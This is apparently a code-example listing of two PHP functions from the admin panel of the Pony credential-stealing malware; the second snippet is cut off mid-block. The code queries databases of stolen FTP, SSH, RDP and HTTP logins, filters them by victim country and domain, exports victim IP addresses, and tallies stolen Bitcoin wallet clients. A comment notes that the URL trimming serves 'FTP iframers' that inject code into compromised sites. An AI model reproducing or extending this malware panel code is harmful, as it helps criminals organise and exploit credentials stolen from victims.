示例#1
0
 function get_url_list($url_type, $raw_output, &$domain_list = null, $limit_count = 0, $url_subtype = 'both', $offset = 0, $filter_date_from = '', $filter_date_to = '', $filter_country = array(), $filter_domains_include = '', $filter_domains_exclude = '', $filter_trim_dirs = '', $count = false, $filter_text = '', $filter_export_ip = false)
 {
     $limit_count = intval($limit_count);
     $offset = intval($offset);
     if (!$this->state || $limit_count < 0) {
         return false;
     }
     $query = '';
     if (count($filter_country) || $filter_export_ip) {
         $query .= ' INNER JOIN pony_report USING (report_id) ';
     }
     if (strlen($filter_domains_include) || strlen($filter_domains_exclude)) {
         $query .= ' LEFT JOIN pony_domainlist USING (domain_id) ';
     }
     if ($url_type == 'rdp') {
         $query .= " WHERE url_type='rdp' ";
     } else {
         if ($url_type == 'ftp') {
             if ($url_subtype === 'both') {
                 $query .= " WHERE (url_type='ftp' OR url_type='ssh') ";
             } else {
                 if ($url_subtype == 'ssh') {
                     $query .= " WHERE url_type='ssh' ";
                 } else {
                     $query .= " WHERE url_type='ftp' ";
                 }
             }
         } else {
             if ($url_type == 'http') {
                 $query .= " WHERE (url_type='http' OR url_type='https') ";
                 if ($url_subtype === 'both') {
                 } else {
                     if ($url_subtype == 'https') {
                         $query .= " AND url LIKE 'https://%' ";
                     } else {
                         $query .= " AND url LIKE 'http://%' ";
                     }
                 }
             }
         }
     }
     if ($offset > 0) {
         $query .= " AND ftp_id >= '" . mysql_real_escape_string($offset) . "'";
     }
     if (count($filter_country)) {
         $filter_country_escaped = array();
         foreach ($filter_country as $key => $value) {
             $filter_country_escaped["'" . mysql_real_escape_string($key) . "'"] = 1;
         }
         $arrK = array_keys($filter_country_escaped);
         $country_list = implode(",", $arrK);
         $query .= ' AND report_country in (' . $country_list . ')';
     }
     if (strlen($filter_date_from)) {
         $time = strtotime($filter_date_from);
         if ($time !== false) {
             $query .= ' AND import_time >= \'' . mysql_real_escape_string(date('Y-m-d H:i:s', $time)) . "'";
         }
     }
     if (strlen($filter_date_to)) {
         $time = strtotime($filter_date_to);
         if ($time !== false) {
             $query .= ' AND import_time <= \'' . mysql_real_escape_string(date('Y-m-d H:i:s', $time)) . "'";
         }
     }
     if (strlen($filter_domains_include)) {
         $query .= " AND (";
         $include_domains_array = explode(",", $filter_domains_include);
         $first_addition = true;
         foreach ($include_domains_array as $key => $value) {
             if (!$first_addition) {
                 $query .= ' OR ';
             }
             $query .= "url_domain LIKE '%" . mysql_real_escape_string(trim($include_domains_array[$key])) . "%'";
             $first_addition = false;
         }
         $query .= " ) ";
     }
     if (strlen($filter_domains_exclude)) {
         $query .= " AND (";
         $exclude_domains_array = explode(",", $filter_domains_exclude);
         $first_addition = true;
         foreach ($exclude_domains_array as $key => $value) {
             if (!$first_addition) {
                 $query .= ' AND ';
             }
             $query .= "NOT url_domain LIKE '%" . mysql_real_escape_string(trim($exclude_domains_array[$key])) . "%'";
             $first_addition = false;
         }
         $query .= " ) ";
     }
     if (strlen($filter_text)) {
         $query .= " AND url like '%" . mysql_real_escape_string($filter_text) . "%'";
     }
     $query_clause = $query;
     $query = "SELECT ftp_id, report_id, url, pony_ftp.import_time, ftp_client";
     if ($filter_export_ip) {
         $query .= ', report_source_ip';
     }
     $query .= " FROM pony_ftp {$query_clause} ";
     $query .= ' ORDER BY ftp_id DESC';
     if ($limit_count) {
         $query .= " LIMIT " . mysql_real_escape_string($limit_count);
     }
     $result = mysql_query($query, $this->db_link);
     if (!$result) {
         $this->state = false;
     } else {
         // additional dupe check is required if 'remove dirs/paths' option was supplied
         // as URLs without dirs could be a cause of duplicate lines (lines with char differences in dir/path part only)
         $dupe_check = array();
         if (!$count) {
             // simple row output
             while ($row = mysql_fetch_assoc($result)) {
                 if ($raw_output) {
                     if ($filter_trim_dirs == '1') {
                         // remove FTP dirs/paths (required for some FTP iframers)
                         $url_line = trim_ftp_dir($row['url']);
                         if ($filter_export_ip) {
                             $url_line .= ';' . $row['report_source_ip'];
                         }
                         array_push($dupe_check, $url_line);
                     } else {
                         if ($filter_export_ip) {
                             echo remove_zero_char($row['url']) . ';' . $row['report_source_ip'] . "\r\n";
                         } else {
                             echo remove_zero_char($row['url']) . "\r\n";
                         }
                     }
                 } else {
                     array_push($domain_list, $row);
                 }
             }
             if ($filter_trim_dirs == '1') {
                 $dupe_check = array_unique($dupe_check);
                 foreach ($dupe_check as $url) {
                     echo remove_zero_char($url) . "\r\n";
                 }
             }
             return true;
         } else {
             // count all found rows and write up to $row_limit rows into the output list
             $row_count = 0;
             $row_limit = 10;
             $rows = array();
             if ($filter_trim_dirs == '1') {
                 // remove FTP dirs/paths (required for some FTP iframers)
                 while ($row = mysql_fetch_assoc($result)) {
                     $uniq_array[trim_ftp_dir($row['url'])] = array($row['ftp_client'], $row['import_time'], $row['report_id']);
                 }
                 foreach ($uniq_array as $key => $value) {
                     if (!$row_limit--) {
                         break;
                     }
                     $rows[] = array('url' => remove_zero_char($key), 'ftp_client' => module_name_to_client_name($value[0]), 'module' => $value[0], 'import_time' => $value[1], 'report_id' => $value[2]);
                 }
                 $row_count = count($uniq_array);
             } else {
                 while (($row = mysql_fetch_assoc($result)) && $row_limit--) {
                     $rows[] = array('url' => remove_zero_char($row['url']), 'ftp_client' => module_name_to_client_name($row['ftp_client']), 'module' => $row['ftp_client'], 'import_time' => $row['import_time'], 'report_id' => $row['report_id']);
                 }
                 $row_count = mysql_num_rows($result);
             }
             return array('count' => $row_count, 'list' => $rows);
         }
     }
     return false;
 }
示例#2
0
文件: admin.php 项目: captincook/Pony
         $sum += intval($count);
     }
     foreach ($http_domain_list as $domain => $count) {
         array_push($http_domain_stats, array('domain' => $domain, 'count' => $count, 'percentage' => sprintf("%01.2f", $count / $sum * 100)));
     }
 }
 // Bitcoin clients statistics
 $bitcoin_list = array();
 $bitcoin_clients_list = array();
 if ($pony_db->get_bitcoin_clients_stats($bitcoin_list) && count($bitcoin_list) > 0) {
     $sum = 0;
     foreach ($bitcoin_list as $count) {
         $sum += intval($count);
     }
     foreach ($bitcoin_list as $bitcoin_client => $count) {
         array_push($bitcoin_clients_list, array('module' => $bitcoin_client, 'name' => module_name_to_client_name($bitcoin_client), 'count' => $count, 'percentage' => sprintf("%01.2f", $count / $sum * 100)));
     }
 }
 // Country statistics
 $country_list = array();
 $smarty_country_list = array();
 if ($pony_db->get_country_stats($country_list) && count($country_list) > 0) {
     // FTP/HTTP stats
     if ($enable_http_mode && ($show_http_to_users || $pony_db->priv_is_admin())) {
         $pony_db->get_all_country_stats($country_ftp_list);
     } else {
         $pony_db->get_ftp_country_stats($country_ftp_list);
     }
     // ftp/ssh only
     if (is_array($country_ftp_list)) {
         foreach ($country_list as $country_name => $country_value) {